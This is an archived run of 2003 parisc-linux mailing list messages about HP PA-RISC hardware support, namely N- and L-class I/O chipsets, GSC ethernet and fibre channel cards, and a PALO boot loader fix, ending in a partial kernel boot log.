In-Reply-To: <20031002233801.23113.qmail@web12508.mail.yahoo.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19714

[Derek, could you possibly wrap your mails around 70 columns?  It's hard
to read/reply to your mails.]

On Thu, Oct 02, 2003 at 04:38:01PM -0700, Derek Engelhaupt wrote:
> First off, since the N, L, and A class are of the same generation
> of machines they are similar in some respects.  Different in others.
> The L1000 and L2000 have a system card unique to that set of machines.
> Being that as it is, the L1000/2000 probably use a different I/O
> interface chip.  The L1500 and L3000 are in essence an N Class system
> card cut in half and therefore use the same I/O interface as the N.
> The GSP in the L Class resides in the PCI card cage with the GSP in the
> N Class is a seperate card attaching directly to the system card via the
> hot swap disk backplane.  The extra unknown system buses probably reside
> on the GSP of the N Class.  That would be my educated guess of what the
> unknown system buses are.  The N has two IKEs since it has both a left
> and a right PCI card cage attached directly to the system board.

According to the IO-ACD, these are actually the processors:

   Prelude W+ 540                        | NPROC  |  00004    91  |   5D3

A500/L1000/L2000 use Astro/Elroy just like the B/C/J class.  L1500/L3000/N
use Ike and Stretch in place of Astro.  I once downloaded an N-class PDF
which I've subsequently lost.  If I remember correctly, it looked like:

     CPU --+-- CPU          RAM          CPU --+-- CPU
          DEW              |||||              DEW
  +--------+--------+---- Stretch ----+--------+------+
 IKE               DEW               DEW             IKE
|||||         CPU --+-- CPU     CPU --+-- CPU       |||||
Ropes                                               Ropes

(Elroys on the end of the ropes, of course).

My understanding is that Stretch is the problem.  We don't follow the
rules for non-coherent aliases and Stretch isn't as lenient as other
memory controllers.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP HSC J3516A (2 port) ethernet card  (supported??) ... And HP FC A3591 aka Mombasa GS
Date: Thu, 2 Oct 2003 20:48:59 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <1289146742B56546AE580DFC6B711A83134826@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622841 31981 80.91.229.3 (22 Nov 2014 02:20:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:41 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 19:50:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1-haw-R.bigfish.com (mail-haw.bigfish.com [12.129.199.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F5904845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 19:50:30 -0600 (MDT)
Original-Received: from mail1-haw.bigfish.com (localhost.localdomain [127.0.0.1])
	by mail1-haw-R.bigfish.com (Postfix) with ESMTP
	id CB5BC206D34; Fri,  3 Oct 2003 01:50:29 +0000 (UCT)
Original-Received: by mail1-haw (MessageSwitch) id 1065145829758818_22130; Fri,  3 Oct 2003 01:50:29 +0000 (UCT)
Original-Received: from smtpgw5.sprintspectrum.com (smtpgw5.sprintspectrum.com [207.40.188.13])
	by mail1-haw.bigfish.com (Postfix) with ESMTP
	id 028A320687A; Fri,  3 Oct 2003 01:50:29 +0000 (UCT)
Original-Received: from mailhost.sprintspectrum.com (smtpgw7.it.sprintspectrum.com [207.40.65.55])
	by smtpgw5.sprintspectrum.com (8.12.10/8.12.8) with ESMTP id h931oSB0024546;
	Thu, 2 Oct 2003 20:50:28 -0500 (CDT)
Original-Received: from PDAWG01A.corp.sprint.com (localhost [127.0.0.1])
	by mailhost.sprintspectrum.com (Switch-2.2.8/Switch-2.2.6) with ESMTP id h931oSV22435;
	Thu, 2 Oct 2003 20:50:28 -0500 (CDT)
Original-Received: from PDAWP02A.ad.sprint.com ([10.184.134.88]) by PDAWG01A.corp.sprint.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Thu, 2 Oct 2003 20:49:00 -0500
Original-Received: from PKDWB07C.ad.sprint.com ([10.185.12.151]) by PDAWP02A.ad.sprint.com with Microsoft SMTPSVC(5.0.2195.4905);
	 Thu, 2 Oct 2003 20:49:00 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] HP HSC J3516A (2 port) ethernet card  (supported??) ... And HP FC A3591 aka Mombasa GS
Thread-Index: AcOJALuqZ7uAxbTlSJ+80CZTiB37fwASreBQ
X-OriginalArrivalTime: 03 Oct 2003 01:49:00.0506 (UTC) FILETIME=[843683A0:01C38950]
X-BigFish: v
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19715

Thanks, Matthew.  I will test with 2.6.0-test6-pa6 and share the
results.

Also, does anyone know which driver (if any) supports the follwing card
(HP Fibre Channel A3591).

The kernel reports them as :

2. Mombasa GS Add-on mass FC (A3591) (4) at 0xf1004000 [8/4], versions
0x18, 0x0, 0xa7
17. Mombasa GS Add-on mass FC (A3591) (4) at 0xf180c000 [10/12],
versions 0x18, 0x0, 0xa7

I have two R390's with two fibre channel cards each, all four cards are
connected to an FC-10.  My goal is to configure multiple paths to the
devices presented by the cards (via the multipathing personality in md).
I would then like to mirror the six 18GB drives I have (3 available, 3
for mirror, via md), and then stack LVM on top of the device(s) that md
makes available.

Multipath's would be configured like this :

/dev/sda and /dev/sdg -------- /dev/md0
/dev/sdb and /dev/sdh -------- /dev/md1
/dev/sdc and /dev/sdi -------- /dev/md2
/dev/sdd and /dev/sdj -------- /dev/md3
/dev/sde and /dev/sdk -------- /dev/md4
/dev/sdf and /dev/sdl -------- /dev/md5

Disks 1 and 2; 3 and 4; 5 and 6 would be mirrored (raid-1) :

/dev/md0 and /dev/md1 -------- /dev/md6
/dev/md2 and /dev/md3 -------- /dev/md7
/dev/md4 and /dev/md5 -------- /dev/md8

LVM on top of the mirrored disks :

/dev/md6 and /dev/md7 and /dev/md8 --- /dev/vg

Has anyone tried this before with success (assuming there are drivers
available that support my hardware)?

Thanks!

Pat Padgett

-----Original Message-----
From: Matthew Wilcox [mailto:willy@debian.org]=20
Sent: Thursday, October 02, 2003 10:47 AM
To: Padgett, Pat M [NTWK SVCS]
Subject: Re: [parisc-linux] HP HSC J3516A (2 port) ethernet card
(supported??)

On Thu, Oct 02, 2003 at 10:27:42AM -0500, Padgett, Pat M [NTWK SVCS]
wrote:
> I am trying to configure two HP J3516A's that I have in an R390.  They

> initially showed up while using the debian installation cd as eth0 and

> eth1 (the internal lan was eth2).  However, after reboot it seems that

> they are not being correctly initialized by the kernel (internal lan=20
> is now eth0).

I realise this probably isn't the answer you wanted to hear; but is
there any chance you could try 2.6 on this machine?  We just got GSC
Tulip cards working properly in 2.6 and it'd be really useful to know
that it works on your box too.  After we know that, we can try
backporting the changes to 2.4.


From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP HSC J3516A (2 port) ethernet card  (supported??) ... And HP FC A3591 aka Mombasa GS
Date: Fri, 3 Oct 2003 03:07:55 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20031003020755.GI24824@parcelfarce.linux.theplanet.co.uk>
References: <1289146742B56546AE580DFC6B711A83134826@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622841 31984 80.91.229.3 (22 Nov 2014 02:20:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:41 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  2 20:07:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C9CD4845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Oct 2003 20:07:57 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A5FMJ-0001Kf-Sc; Fri, 03 Oct 2003 03:07:55 +0100
Content-Disposition: inline
In-Reply-To: <1289146742B56546AE580DFC6B711A83134826@PKDWB07C.ad.sprint.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19716

On Thu, Oct 02, 2003 at 08:48:59PM -0500, Padgett, Pat M [NTWK SVCS] wrote:
> Also, does anyone know which driver (if any) supports the follwing card
> (HP Fibre Channel A3591).
> 
> The kernel reports them as :
> 
> 2. Mombasa GS Add-on mass FC (A3591) (4) at 0xf1004000 [8/4], versions
> 0x18, 0x0, 0xa7
> 17. Mombasa GS Add-on mass FC (A3591) (4) at 0xf180c000 [10/12],
> versions 0x18, 0x0, 0xa7

As far as I can tell, these are Tachyon cards with a GSC interface.
They aren't supported by any driver at the moment.  drivers/scsi/cpqfcTS*
would be the driver that needs to be altered.  Unfortunately, it's one
of the canonical examples of badly written drivers, and these cards
aren't exactly common, so I'm not aware of anyone trying to make these
cards work.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeanette and John Graham <jajgraham@bigbond.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP HSC J3516A (2 port) ethernet card  (supported??)
Date: Fri, 03 Oct 2003 21:52:21 +1000
Lines: 14
Approved: news@gmane.org
Message-ID: <001601c389a4$ce300040$0500000a@Telstra>
References: <1289146742B56546AE580DFC6B711A83134825@PKDWB07C.ad.sprint.com>
 <20031002154634.GD24824@parcelfarce.linux.theplanet.co.uk>
Reply-To: Jeanette and John Graham <jajgraham@bigpond.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416622841 31989 80.91.229.3 (22 Nov 2014 02:20:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>,
	"Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  3 05:47:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta04bw.bigpond.com (mta04bw.bigpond.com [144.135.24.150])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81BDE483E
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Oct 2003 05:47:30 -0600 (MDT)
Original-Received: from Telstra ([144.135.24.72]) by mta04bw.email.bigpond.com
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with SMTP id <0HM6006D2JEYD8@mta04bw.email.bigpond.com> for
 parisc-linux@lists.parisc-linux.org; Fri, 03 Oct 2003 21:47:22 +1000 (EST)
Original-Received: from cpe-203-51-59-248.nsw.bigpond.net.au ([203.51.59.248])
 by bwmam02.bigpond.com(MAM REL_3_3_2d 11/11925630); Fri,
 03 Oct 2003 21:47:22 +0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19717

> I realise this probably isn't the answer you wanted to hear; but is there
> any chance you could try 2.6 on this machine?  We just got GSC Tulip
> cards working properly in 2.6 and it'd be really useful to know that it
> works on your box too.  After we know that, we can try backporting the
> changes to 2.4.

I have the 1 port ethernet card HP HSC J3515A in a D270
which gave similar errors under 2.4.20-pa35 and 2.4.22-pa7.
It works fine with the latest kernel vmlinux-2.6.0-test6-pa6-32.

Thanks for all the hard work,
John



From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] L2000/N4000 smp devices/boot compare??
Date: Fri, 3 Oct 2003 12:49:59 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20031003114959.GM24824@parcelfarce.linux.theplanet.co.uk>
References: <20031003001810.GH24824@parcelfarce.linux.theplanet.co.uk> <3F704CAF0000522B@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622842 31991 80.91.229.3 (22 Nov 2014 02:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:42 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Derek Engelhaupt <derekengelhaupt@rocketmail.com>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  3 06:12:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7DA84852
	for <parisc-linux@parisc-linux.org>; Fri,  3 Oct 2003 06:12:44 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A5Onb-0006BS-1f
	for parisc-linux@parisc-linux.org; Fri, 03 Oct 2003 13:12:43 +0100
Original-Received: from master.debian.org ([146.82.138.7]:50855)
	by www.linux.org.uk with esmtp (Exim 4.22)
	id 1A5ORi-00062v-BT
	for willy@ftp.uk.linux.org; Fri, 03 Oct 2003 12:50:06 +0100
Original-Received: from parcelfarce.linux.theplanet.co.uk (www.linux.org.uk) [195.92.249.252] 
	by master.debian.org with esmtp (Exim 3.35 1 (Debian))
	id 1A5ORe-0006Pl-00; Fri, 03 Oct 2003 06:50:02 -0500
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A5ORb-00062e-FJ; Fri, 03 Oct 2003 12:49:59 +0100
Content-Disposition: inline
In-Reply-To: <3F704CAF0000522B@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Resent-From: willy@parcelfarce.linux.theplanet.co.uk
Resent-Date: Fri, 3 Oct 2003 13:12:42 +0100
Resent-To: parisc-linux@parisc-linux.org
Resent-Message-Id: <E1A5Onb-0006BS-1f@www.linux.org.uk>
Resent-Sender: <willy@www.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19718

On Fri, Oct 03, 2003 at 08:15:03AM +0200, Joel Soete wrote:
> Derek, Matthew,
> 
> Thanks a lot for those clarification.
> As I try, without any success :(, to find where 'rules for non-coherent aliases'
> are not respected, I will waiting for a fix.

Well, it's hard.  Consider a page in the page cache.  It has a kernel
address and one-or-more user addresses.  The user addresses all follow the
coherency rules but the kernel address doesn't.  If you look in Appendix F,
we're not allowed to have multiple write-capable translations to the same
address.

I think the only way to solve this is by (ab)using kmap to ensure that
kernel pages are only accessed via coherent mappings.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Diego de Fuentes Ceballos" <diego@defuentes.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PALO boot loader installation problem
Date: Fri, 03 Oct 2003 08:17:41 -0700 (PDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <20031003081741.9348.h007.c012.wm__15771.2563094266$1416622842$gmane$org@mail.icqmail.com.criticalpath.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622842 31994 80.91.229.3 (22 Nov 2014 02:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:42 +0000 (UTC)
Cc: diego@defuentes.org, debian-hppa@lists.debian.org,
	parisc-linux@parisc-linux.org
To: bame@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  3 09:17:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from c012.snv.cp.net (h001.c012.snv.cp.net [209.228.35.231])
	by dsl2.external.hp.com (Postfix) with SMTP id AC3AE4845
	for <parisc-linux@parisc-linux.org>; Fri,  3 Oct 2003 09:17:42 -0600 (MDT)
Original-Received: (cpmta 22830 invoked from network); 3 Oct 2003 08:17:41 -0700
Original-Received: from 209.228.35.237 (HELO mail.icqmail.com.criticalpath.net)
  by smtp.icqmail.com (209.228.35.231) with SMTP; 3 Oct 2003 08:17:41 -0700
X-Sent: 3 Oct 2003 15:17:41 GMT
Original-Received: from [200.57.67.57] by mail.icqmail.com with HTTP;
    Fri, 03 Oct 2003 08:17:41 -0700 (PDT)
Content-Disposition: inline
X-Icq: 18555590
X-Sent-From: defuentesdiego@icqmail.com
X-Mailer: Web Mail 5.5.0-3_sol28
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19719

You were right, i was missing the F0 partition, i repartitioned my hard drive
and now everything is up and running, thanks for your help.

On Thu, 02 Oct 2003 13:51:03 -0600, bame@hp.com wrote:

> 
> 
> I cc-ed parisc-linux@parisc-linux.org
> 
> > Hey everyone, i am having sobe trouble installing Debian hppa on a HP b1000
> > , i
> > have downloaded and burnen a netinstall ISO with kernelm 2.4.22 and got
> > everything up and running, i booted from CD, i installed everything, partit=
> > ioned
> > the hard drive, got the network configured and the base system installed but
> > when i try to make the system installable i get this error:
> > 
> > 
> > Problem
> > 
> > PALO wasn=B4t able to install. You can still remote boot and point the root=
> >  device
> > to the installed system.
> 
> The most likely cause of this is the palo (aka F0) partition is past
> the 2G mark on the disk or perhaps is too small or maybe there's no
> partition at all.
> 
> > I have no idea how to fix this, "remote boot and point the dive to the inst=
> > alled
> > system?????" WTF???, when i reboot the machi and tri to point the boot load=
> > er to
> > the hard drive i get nowhere, can anyone give me hand?
> 
> Boot from the CD interactively so you can edit the boot command line.
> Get rid of the initrd= argument entirely and change the root=/dev/ram
> to root=/dev/sdaX where X is your root partition, then boot.  This'll
> use the kernel from the CD instead of the one in the palo partition.
> 
> If this works, have a look at your partition table or post it here or
> re-run palo by hand and examine (or post) the error messages.
> 
> 	-P

Diego De Fuentes Ceballos
diego@defuentes.org


-------------------------------------------------------------
Sign up for ICQmail at http://www.icq.com/icqmail/signup.html


From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-test6-pa6 on b2k finaly crash
Date: Fri, 3 Oct 2003 17:20:46 +0200
Lines: 180
Approved: news@gmane.org
Message-ID: <3F5CB6FB0000CBFC@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622842 31998 80.91.229.3 (22 Nov 2014 02:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  3 09:20:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2392487A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Oct 2003 09:20:48 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A5Rja-0004Kl-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 03 Oct 2003 17:20:46 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 3 Oct 2003 17:20:46 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19720

Hi all,

First of all 2.6.0-test6-pa6 still run find on the b180 :) and led front
panel are flickering once more :)

I am also happy that with 2.6.0-test6-pa6 b2k crash because it is a long
time that I try to obtain a relevant info (even toc do not help until now).
And here is the full boot messages:

Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=3/vmlinux-2.6.0-test6-pre6'
Selected kernel: /vmlinux-2.6.0-test6-pre6 from partition 3
ERROR: open /vmlinux-2.6.0-test6-pre6 from partition 3 failed
 palo_kernel=3/vmlinux-2.6.0-test6-pa6
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Memory: 255656k available
Calibrating delay loop... 799.53 BogoMIPS
Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, 0xb
2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa
3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa
4. Kazoo W+ (0) at 0xfffa0000 [32], versions 0x5d0, 0x0, 0x4
5. Memory (1) at 0xfed10200 [49], versions 0x9d, 0x0, 0x9
CPU(s): 1 x PA8600 (PCX-W+) at 400.000000 MHz
SBA found Astro 2.1 at 0xfed00000
lba version TR4.0 (0x5) found at 0xfed30000
PCI: Ignoring BAR0-3 of IDE controller 0000:00:0e.0
lba version TR4.0 (0x5) found at 0xfed32000
SCSI subsystem initialized
drivers/usb/core/usb.c: registered new driver hub
ikconfig 0.7 with /proc/config*
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0400804.
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
Generic RTC Driver v1.07
